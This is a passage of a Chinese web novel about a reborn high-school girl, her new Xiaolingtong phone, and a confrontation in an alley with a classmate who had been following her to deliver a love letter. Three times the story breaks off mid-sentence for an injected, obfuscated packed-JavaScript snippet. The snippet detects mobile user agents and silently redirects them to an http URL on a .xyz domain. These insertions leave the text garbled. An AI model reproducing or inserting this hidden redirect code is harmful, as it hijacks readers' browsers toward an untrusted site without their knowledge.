“小姑娘,想要什么片子?” 老板嘴边刁一只烟,一开口就是老烟嗓了。 秦遇不假思索道,“我要《廊桥遗梦》、《马语者》、《云中漫步》,还有《英国病人》。” 她说的时候,老板瘦骨嶙峋的手指在装光碟的筐子里上下翻飞,每隔数秒就用两指夹出一片光碟,丢到她面前。 “《马语者》,《英国病人》,《廊桥遗梦》……”他停下动作,从身后的柜台上拿来一个厚厚的A4本,放在她面前,“《云中漫步》暂时没有,你把名字写下来,我给你刻盘,两天后来拿。” 秦遇低头看那本子,破破烂烂,边角卷起,纸张泛黄,上面密密麻麻写着电影的名字。她仔细看了看,最下面一行,写着《八部半》,忍不住道“你连《八部半》也能弄到?” 老板得意地说,“那当然,你想要什么片子,我都能弄来,市面上没有的,我给你刻。” 秦遇在《八部半》下面一栏的空白处,写下《云中漫步》,留了家里的电话号码,付钱离开。 一张盗版碟片十五块钱,一次买四张,对她来说不算小数目,不过,一切都值得。 晚上回到家,秦遇献宝似得把电影碟片捧给妈妈,“妈,这都是时下最好看的好莱坞大片,你晚上打毛衣的时候看,姚摇的妈妈都可喜欢看了。” “真的吗?那妈妈明晚就看。” 秦妈妈收下碟片,从手提包里翻出一个长方形的小纸盒,“妈妈也有东西给你,打开看看。” 秦遇接过纸盒,其实,纸盒上的“小灵通”三个大字,已经告诉了她答案。 她迅速拆开包装,一支银色小巧的小灵通出现在眼前。 “妈妈听说,你们同学中间已经有人开始用手机了,正好现在通讯公司有活动,新推出的这种叫小灵通,在城里用很方便,话费也合适。” 秦妈妈一五一十介绍着,“你看,这里的功能是……这样你有什么事,也方便联系妈妈。” 她当然知道小灵通是什么,上一世,她是在高二的时候得到了一支小灵通,没想到这次会提前到高一。 她把玩着手里的小灵通,黑白屏幕,九宫格按键,按键有点软弹,按下时会有淡绿色背光。 这种感觉十分奇妙,像是在游戏世界里捡到了珍贵道具,又像是重要的信物失而复得。 她记得,从前那只小灵通里,存了很多她和朋友的短信记录,可惜搬家的时候丢了,这一次,她一定要好好保存! “妈,我也想要。” 秦征“咚咚咚”跑过来,眼馋地盯着小灵通。 秦妈妈严词拒绝,“小学生用什么小灵通,就算我给你买了,也会被老师没收。” “你先好好学习,等你上了高中,自然会给你买。” 秦征的嘴角耷拉下去,过来拉起秦遇的袖子,“好秦遇,你让我玩玩呗,听说这上面能玩贪吃蛇,让我玩一会嘛?” 秦遇板起脸,“这都九点多了,你该睡觉了。” “就玩十分钟,行不行?求你了?” 秦遇看了他几秒,笑起来,“那好吧,借给你玩十分钟,别让妈妈看见,十分钟后,按时还过来。有借有还,再借不难,知道吗?” 秦征重重点头,“我一定信守承诺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896959|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说完,抱起小灵通,一溜烟跑回自己房间,关上了门。 此后半个多月,无事发生。 期中考试临近,大多数同学都在摩拳擦掌、挑灯夜战,誓要在升入高中后的第一次大考中,拿到一个好成绩。 除了后排那几个头铁的男生。 也不知道谁从家里搞来一台手提式收音机,能放磁带那种,左右两个黑漆漆的圆形音箱,像极了蜻蜓巨大的复眼。 一到晚自习的课间,他们就会开始放歌,把音量调到最大,引得隔壁班的同学都来围观。 要是老师或者年级主任来巡视,就会有放哨的同学蹬蹬蹬跑来,高呼一声“来了”,这边立刻关机、拔电源,把收音机推到课桌底下,再用书包盖上,一系列动作一气呵成,叫人叹服。 放歌这事,大多数同学还是欢迎的,毕竟,在枯燥冗长的自习间隙,听听流行歌曲,是难得的休闲放松。 因此,班里同学不约而同地遵守了“缄默法则”,并不向老师提及此事。 只有一个例外,班长蔡志高偷偷打过几次小报告。说来也怪,每次他打完小报告,都会出点意外,有一次是车子爆胎,有一次是踩到香蕉皮,还有一次,是为了争做吃午饭最快最干净的人,把自己噎着,被送到了校医务室。 如果说前两次可以阴谋论,最后一次只能是纯粹的意外,蔡志高的妈妈花钱请城郊的高人算了算,高人送她四个字,“谨言慎行”,此后,蔡志高再不敢打小报告。 十一月的第一个周五,九门功课全部考完,期中考试正式结束。 即将到来的周末,无疑是最轻松的。 同学们三五成群,结伴走出校园,商量着要去哪里玩,庆祝考试结束。 悲催的艺术生姚摇,晚上还有一节专业课考试,所以秦遇和她约在周六下午庆祝,一起去吃麻辣烫、吃刨冰、上网吧。 考完试,她想起有本杂志落在桌洞里,等拿完再出来,校园里的人已经走得差不多了。 她不紧不慢地迈出校门,往家走,宽大的校服口袋里揣着随身听,耳机里的音乐,正播到周杰伦的《以父之名》。 有点饿了,一抬头,前面正好是一家炸鸡柳的小摊,秦遇加快脚步走过去,就在这时,身侧有人拉了她一把。 她扭头,是穆逢。 “干什么?” 因为戴着耳机,她并不知道,自己这一声简直是平时几倍的声量。 穆逢皱皱眉,摘下她一只耳机,“听得这么投入,难怪叫你都没反应。” “过来这边,有点事。” 穆逢指指右手边,那里,在米线店的旁边,是一条短短的巷子,里面只有一盏路灯,常有调皮的男生聚在那里吸烟,秦遇从来没进去过,可是穆逢叫她过去,她没有一丝犹豫就跟了过去。 连她自己都没意识到,不知不觉中,这个红头发少年,已经成为值得信赖的人。 巷子里除了他们俩,再没有别人,秦遇疑惑地看向他,“找我来,到底什么事?要是没事,我就……” 要是没事,我就去吃炸鸡柳了,饿死了。 这句话还没说完,巷子口就出现了一个高大雄壮的身影,身影越来越近,走近了才看清,居然是大黑,大黑的身后还拖着一个人,那人瑟瑟发抖、低垂着头,看不清长相,只能从校服判断,是本校的学生。 “老大,堵住了,这家伙贼得很,差点让他跑掉。” 穆逢低低“嗯”了一声,下巴朝巷口一抬,大黑会意,立刻跑过去。 穆逢慢慢走到那低垂着头的男生面前,忽然一把揪住他的衣领,几乎把他整个人提起来。 在这一瞬间,秦遇看清了那男生的脸,居然是他们的班长—蔡志高。 穆逢愤怒的声音响起,回荡在巷子里,“蔡志高,你给我说清楚,你为什么跟踪她?!” 15. 乌龙 “我,我,我没有跟踪她……” 蔡志高结结巴巴地说着,眼神躲闪,刘海被汗水浸湿,贴在额头上,鼻梁因为出汗,在昏黄路灯下发着光,眼镜滑到了鼻梁中间。 穆逢怒气更盛,“刚才你尾随她回到教室,接着又跟她走出校门,一直跟到刚才的路口,因为怕被她发现,你一会躲到路灯后面,一会拐进路边的小店,要不是刚才大黑拦着,你是不是又要一路跟她到家?” 一个“又”字,让秦遇心头一沉,“这是什么意思?他之前就跟踪过我?” 穆逢把蔡志高往墙上重重一推,蔡志高的手得了自由,立刻扶了扶就要滑到嘴边的金丝边眼镜,他低着头,不说话,也不看他们。 穆逢站在他面前,高大身形把他堵得严严实实,阻隔开他和秦遇。 “上个星期三,体育课她去洗手间,你偷偷摸摸跟踪她到女生厕所外面,后来,幸亏她的朋友姚摇过来,你才没有得逞!” “上上个星期四,你跟踪她到她家的巷子口,躲在路灯后面的阴影里,正好她的邻居徐伟民路过,和她一起回家,你才不得不离开。” 穆逢每说一条,秦遇的心就凉一分,她站在那里,像是全身被定住,连抬一抬脚,都觉得滞重不堪。 她成了被变态男尾随而不自知的人? 面前这人,还是她认识的蔡志高吗? 在她看来,他虽然不讨喜,也不过是个眼里只有成绩,又爱跟老师打小报告的普通高中生,怎么私底下还有这样阴暗的一面? “蔡志高,我当你是个只会念书的书呆子,没想到你还有这样的龌龊心思。今天你必须给她一个交待,否则,我会叫你爬着出这条巷子。” 穆逢握了握拳,落在蔡志高眼中,不啻于无言的恐吓。 “我……我……我真没有跟踪她……” 蔡志高哆哆嗦嗦地说着,因为紧张,整个人都在发抖。 “不,我有在跟踪她,可是,我不是为了跟踪她,我是为了,为了,为了……” 蔡志高连续重复了好几次“为了”,就是说不出个所以然,穆逢忽然抬起一脚,直冲他面门而来。 蔡志高吓得抱住头蹲到地上,嘴里疯狂地叫喊着“不要打我,不要打我,我都说,我都说!” “哐!” 伴随一声闷响,蔡志高刚刚靠着的墙面旁边,留下了穆逢一只鞋印。 高度和他的脸齐平。 秦遇上前一步,拦住穆逢,对他摇了摇头。 吓唬到他这个程度,已经可以了, “让他说。” 她把穆逢往后拉,穆逢脸上怒意未消,却还是任由她拉走。 “你在这里站着,我去问他,反正你人就在这里,他也不敢怎么样,是不是?” 这句话中包含的肯定和信任,极大地疏解了穆逢心头的烦躁,他看着她,目光中闪着关切,“刚才大黑检查过了,他身上没有什么凶器。” 秦遇夸他,“你考虑得真周到。” 穆逢一怔,一丝潮红慢慢爬上耳后,他不自然地别开眼。 秦遇走到蔡志高面前,拉着他的袖子拽他起来。 “蔡志高,像个男子汉一样站起来,说清楚,你跟踪我到底是为什么?” 蔡志高站起来,后背紧紧贴着墙,好像如果没有这堵墙,他的身体就要滑下去。 他依然低着头,不看秦遇,右手却伸到校服口袋里摸索,足足一分钟之后,他终于把手掏出来,手里紧紧握着一张薄纸片一样的东西。 他把手往前伸,伸到秦遇面前,翻转手腕,让纸正面朝上。 那是一只皱巴巴的信封,因为在兜里揣了很久,又被汗水浸湿,边角已经泛起毛边。 信封上写着,“秦遇同学(收)”几个大字。 蔡志高低头嗫嚅着,“我承认,我确实跟踪了你好几次,不过,我并不是想做坏事,我对你也没有恶意。” “我,”他猛然抬起头,看了她一眼,又迅速低下头。 “我,是想把这个给你。” 他那张被穆逢吓得青白的脸,一瞬间涨得通红。 秦遇忽然明白过来。 “什么东西?” 穆逢迈着长腿走过来,也看见了蔡志高手里的那封信。 一股复杂的滋味涌上心头。 “我、我一直都想找个合适的机会,把这封信交到你手里,可是,时机总是不对。” “我这几天跟着你,只是想找一个僻静的,又只有你一个人的地方,把这封信交给你。” 巷子里忽然安静下来,夜风卷下几片枯黄的树叶,飘落在他们脚边。 “他妈的,不管为了什么,你的行为已经吓到她了,你知不知道?” 穆逢一声怒斥,蔡志高吓得一哆嗦,连连点头。 “我知道了我知道了,可我真没想吓唬她,我、我是真得想表白,要不然,你们拆开信看吧,看看我说得是不是真的?” 秦遇无奈地捂了捂眼睛。 她什么时候被吓到了?她怎么不知道? 在今晚之前,她对蔡志高的所作所为,压根全无察觉。 蔡志高低下头,居然真开始拆信封。 穆逢的眉头越皱越深,眼看就要压不住怒火,秦遇上前一步挡在他身前。 “不用拆,蔡志高,既然是一场误会,你走吧。” “等一下!” 穆逢出声制止,从她身后绕过来,站到蔡志高面前。 他比他高了足足一头,浑身散发着危险气息,蔡志高忍不住缩了缩脖子。 “你为什么给她写信?” 蔡志高有些意外地抬起头,“当然,当然是因为我喜欢她。” 穆逢冷冷嗤笑一声,一双眼睛死死盯着他,“你,喜欢她?” 话里充满了不敢置信和一丝嘲弄。 蔡志高仿佛找回了一点自信,回答道“是,我是喜欢她,她长得好看,成绩又好,和我正好相配。” 说着,像在课堂上回答问题一样,又推了推眼镜,开始分析起来。 “秦遇是语文课代表,我是班长,从职务上来说,我们正好相配,她配得上我,足以担任我的副手。从成绩来说,班里前十名中只有三个女生,她正好是其中之一。从长相来说,这三个女生里,刘恋太高,王晓雅太胖,只有秦遇,高矮胖瘦刚刚好。” 秦遇嘴角抽搐了一下。 活了两辈子,头一次听到这么炸裂的表白。 蔡志高话里话外,都透露着一种在商店里挑选商品的味道。 秦遇觉得受到了侮辱。 语文课代表和班长、班级前十名内部解决、不能比他高、不能比他胖…… 这是什么配平式表白? 穆逢的表情也很奇怪,像是夹在愤怒和失笑之间,进退两难。 秦遇向前一步,走到蔡志高面前,双目直视他。 “班长大人,谢谢你的抬举,不过,对我来说,你太矮了,我喜欢高的。” 蔡志高没想到自己会被拒绝,一瞬间有些失落,可是数秒后,他就重新树立起自信,“我觉得,你不是这么肤浅的女生,你知道的,男人的才华比身高更重要,”他循循善诱,“你有没有听过一句话,smartisthenewsex.” 秦遇无语,一字一句说,“我物理不好,期中考试成绩出来你就会知道,我的名次会滑落到十名开外,配不上你!” 蔡志高皱眉,“你怎么知道?” 秦遇满不在乎地答“物理好几道题我都不会,我估分了,及格线上下。” 蔡志高露出苦恼的表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896960|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃喃道“这倒是个麻烦事,你要是进不了前十名,我妈肯定不同意……” “有了!” 他忽然大喊一声,右手握拳在左手掌心一击。 “我可以给你补课。” “不用!” “不用!” 秦遇和穆逢面面相觑,没想到彼此异口同声,就连表情咬牙切齿的程度也差不多。 还是秦遇先开口,“我们走吧,我实在不想跟他废话。” 穆逢对她一点头,转向蔡志高,眼里带着嫌弃和怒意,“警告你最后一遍,离她远一点,再有下次,我一定揍得你爬不起来。” 说完,和秦遇一起向巷子口走去。 没走几步,身后传来低低的啜泣声。 “等一下,我去看看他怎么了。” 穆逢本想说不要管他,可是秦遇已经小跑过去,他只好不情不愿地跟上。 蔡志高摘下了眼镜,正在抹眼泪。 秦遇耐着性子问,“你哭什么?我都看见了,他刚才没打你。” “我知道,我不是被打哭的,我是……表白被拒,我的人生,头一次尝到失败的滋味。” 说到这里,蔡志高索性失声痛哭。 这已经是今晚秦遇第三次深呼吸了,她咬咬牙,撸起袖子。 穆逢诧异地看着她,“你要干什么?” “我想扇醒他。” 穆逢终于忍不住笑出声来,一边笑,一边走向前,“打人这种事,还是我比较在行。” 在巷口站了二十分钟,大黑劝退了三个试图溜进来抽烟的初中生,轰走了一个想在墙根撒尿的大爷,又拦住了一对谈恋爱的中学生,这会开始觉得有点无聊。 奇怪,里面没有他想象中激烈的打斗声,除了最开始老大吼的那两嗓子,后来连说话声都是轻声细语的,害他想听也听不见。 更没想到的是,最后,三个人居然十分和平得一起出来,秦遇走在最前面,脸上看不出什么表情,老大在她身边,脸色很臭,蔡志高走在最后,低着头在抹泪。 大黑也跟了上去。 秦遇停在炸鸡柳的小摊前,她早就饿得前胸贴后背,其他三人也跟上来,把小摊团团围住。 “老板,来一份炸鸡柳。” “来了。” 精瘦的老板嗓门很高,从托盘里抓一把鸡柳放到秤上,称好重量后,投入沸腾的油锅里。 “滋啦”一声,沾着面包糠的鸡柳条在油锅中迅速膨胀,表面变成微微的金黄色,肉香被逼出来,混着油香,往鼻孔里钻。 翻面、控油、装袋,一份鸡柳很快就做好。 秦遇接过那袋鸡柳,递给蔡志高。 “别哭了,请你吃鸡柳。今天我们冤枉了你,算是给你压惊,行不行?” 蔡志高接过鸡柳,嘟囔了一声“谢谢”,就不客气地吃起来。 “我的呢?” 穆逢的声音从身后响起,凉凉的。 秦遇有点诧异,她被蔡志高哭得心烦意乱,觉得他又可气又可怜,只想让他快点闭嘴。 穆逢指指蔡志高,“我把他揪出来,没有功劳也有苦劳。” “行,你辛苦了,给你要个超大份,行不行?” 穆逢满意地“哼”了一声。 小摊上的灯光打在他的睫毛上,在他脸上投下小扇子一样的暗影,他薄薄的嘴唇微微抿起,分明的下颌线,不知为何带上了几分孩子气。 看着这样的他,一旁的大黑露出复杂的表情。 刚刚那个像三岁孩子讨糖吃的行为,是穆逢吧?是他们球队的老大吧? “对了,大黑,也给你要一份吧?”秦遇转头问他。 穆逢斜了他一眼,大黑咳嗽一声,“我不喜欢吃这个,我去吃烤肠。” 说完抬腿就走。 16. 头盔 初冬的夜晚寒意逼人,热乎乎的鸡柳下肚,身体暖和了不少。 穆逢从隔壁的小摊上,买了几袋温热的豆浆,拿过来分给大家。 三个人就着小摊上的灯光,一人一包鸡柳吃起来。秦遇站在中间,她左边是穆逢,右边是蔡志高,坦白说,在此之前,她从没想过,他们会以这样的组合出现。 大黑买了烤肠,又去买炸臭豆腐,看样子一时半会过不来。 就在这时,音乐响了起来,简单的和弦,不断重复,一听就是这个年代的手机铃声。 穆逢从口袋里掏出手机,看了看屏幕上显示得的“老头子”三个字,不耐地皱了皱眉,果断按掉。 秦遇瞟了一样,看见他的手机的弧形曲线,圆润可爱得像只蛋壳。 “哇哦,这可是今年的机王,听说要四千多块。”蔡志高一边嚼着嘴里的鸡肉,一边出神地盯着穆逢的手机。 秦遇不敢相信,“四千多块?你确定?”她记得,这时候普通人的月薪也不过千把块钱。 蔡志高肯定地点点头,“当然,我爸的领导就有一个,上次我跟我爸去他家送礼,看见他拿着……” 穆逢摁断来电,随手把手机放回兜里,抬头却看到秦遇和蔡志高都盯着他看,确切地说,是盯着他的手,还不停地谈论着什么。 “你们俩在聊什么?” 秦遇自然地说出来,“在聊你的手机,挺可爱的。” 穆逢点点头,视线移到蔡志高身上时,就带了几分审视和警告意味。 蔡志高缩了缩脖子,往秦遇身后站了站,用胳膊肘碰了碰她,小声嘀咕着,“能用这样的手机,他家一定非富即贵。” 秦遇不悦地皱起眉,当着穆逢的面,这样议论他的家境,非常不妥。 蔡志高咽下嘴里的鸡肉,舔了舔沾着调料粉的嘴角,干巴巴地问,“你是不是看他有钱,所以才和他玩?” 秦遇一滞,只觉得身体像是被冻住,数秒后才恢复生机,与此同时,一股无名火蹭得蹿上心头。 她猛得转身,恶狠狠地瞪住他。 蔡志高莫名觉得有些不对劲,又不知道哪里不对,下意识想往后退一步,可是后面就是摊主的小推车,根本退不得,他只能身子后仰。 秦遇往前迈了半步,逼视着他,她比他矮半个头,是仰着头看他的,可是气势上却十分凌厉。 足足半分钟之后,她一把抢过他手里剩下的鸡柳,咬牙切齿地说,“干你屁事!” 蔡志高睁大了眼,结结巴巴地说,“你,你,你一个女孩子,怎么能说脏话?” 秦遇气结,骂道,“滚,以后别让我看见你!” “我警告你,你再尾随我,我就报警,告你爹妈!” 她的声音很大,惹得周围的摊主和食客都看过来,蔡志高最怕丢脸,立刻落荒而逃。 秦遇心头余怒未消,捏着从蔡志高手里夺来的半包鸡柳,一脸嫌弃地走到垃圾桶旁,狠狠丢了进去。 “以小人之心度君子之腹!” “浪费我的钱!” “丢了也不给你吃!” 一转身,差点和站在他身后的穆逢撞个满怀,穆逢关切地看着她,表情里带着一丝笑意。 她不悦地瞪他一眼,“笑什么?” “没什么,我在想,第一次看见你生气,第一次听见你骂人,感觉上……”他故意拉长了最后一个字,不说出接下来的话。 秦遇果然上钩,“感觉上怎么样?” 穆逢双手掐腰,抬头看了看蓝丝绒一样的星空,认真思索了几秒,果断说道,“感觉上,气势是有了,但你好像不会骂人,除了一个‘滚’字,再没有别的了。” 秦遇哼了一声,“是,我不会骂人,你最会,行了吧?” 穆逢摇摇头,笑得肆意,他握了握拳头,“我从来不骂人,都是用打的。” “要不,我现在就把他揪回来,揍一顿,给你解气,行不行?” 少年的笑容意气风发,一向锋利的眉眼变得柔和,深褐色的晶亮眼珠,映出头顶闪烁的星光。 秦遇有一瞬间的恍惚。 下一瞬,她找回自己的意识,轻咳一声,淡淡道,“那就不用了,我已经骂过他了,就这样吧。” “我诅咒蔡志高,一辈子没朋友。” 清冷的夜色中,响起穆逢的笑声,秦遇想,他最近似乎笑得有点多。 不知是谁说过“化悲愤为力量”这句话,但在秦遇这里,化悲愤为食欲显然更合适。 赶走蔡志高后,她又去吃了一份酱肉米线,海带结、豆扣、肉片、青菜,各种配菜加得足足的,大快朵颐、无比满足。 从米线馆里出来的时候,心里的不快早就抛到爪哇国了。 伴着一声轰鸣,穆逢骑着他的摩托冲到她面前,他一条长腿支在地上,冲她抬一抬下巴,“上车,送你回家。” 原来刚才他吃了一半就跑出去,是为了骑摩托。 气温骤降,她只穿了一件薄棉服,早晨跑着来学校,本来想着晚上也走回去的,不过,这会的气温让她觉得冷得发抖,走回去显然是活受罪。 她决定从善如流地接受他的建议。 走下台阶,跨过路边的绿植,走到他车前,穆逢递给她一个粉色的头盔。 秦遇有些吃惊,这头盔看着有点眼熟,她迟疑了一下,接过头盔,想起来,她从照相馆洗完照片出来的那天,穆逢就拿着这个头盔。 “这是……” 穆逢以为她介意这是别人的头盔,解释道,“放心,是新的,没人戴过。” 她“哦”了一声,慢吞吞地解开搭扣,把头盔戴上。 果然是新的,透明罩上还贴着一层保护膜,她撕掉薄膜,视线立刻变得清晰。 “抱紧我。” 穆逢的声音从头盔下传来,闷闷的。 她没说话,伸出双手,搂住他的腰。 摩托车停在巷口,秦遇跳下车,摘下头盔还给他。 穆逢把头盔随意玩车身侧面一挂,把手伸向她,“借我用下你的小灵通。” “你不是有手机吗?为什么还要用我的?” “给我就是了,很快的,马上就还你。” 秦遇低头,从外套口袋里掏出小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她挽起妈妈的手臂,头在妈妈肩上蹭了蹭,“妈,咱们一起看电影吧,上次给你买的碟片,你还没看呢。” “唉,哪有时间?对了,你弟弟明天要吃黄豆猪手,我得去把黄豆泡上。” 秦遇把妈妈拉到客厅,按着她坐在沙发上,“您看电影,我去泡黄豆。” 秦遇把碟片塞到DVD里,按下播放键。 “明天就周末了,您就好好歇歇,这两天我们买着吃,您呢,就干点自己想干的,躺一天也行,出去玩也行,去看姥姥也行,我手里还有不少饭钱,小征就交给我。” “可是……” “哎呀,妈!”秦遇作出嗔怒的样子,“学生有周末,当妈妈也得有休息的时间,以后就这么办。” 妈妈犹犹豫豫地说,“那,我明天去你李姨那边一起做十字绣,你和秦征吃饭……” 秦遇大手一挥,“我带他去楼下吃馄炖,他最爱吃小馄炖,一准高兴。”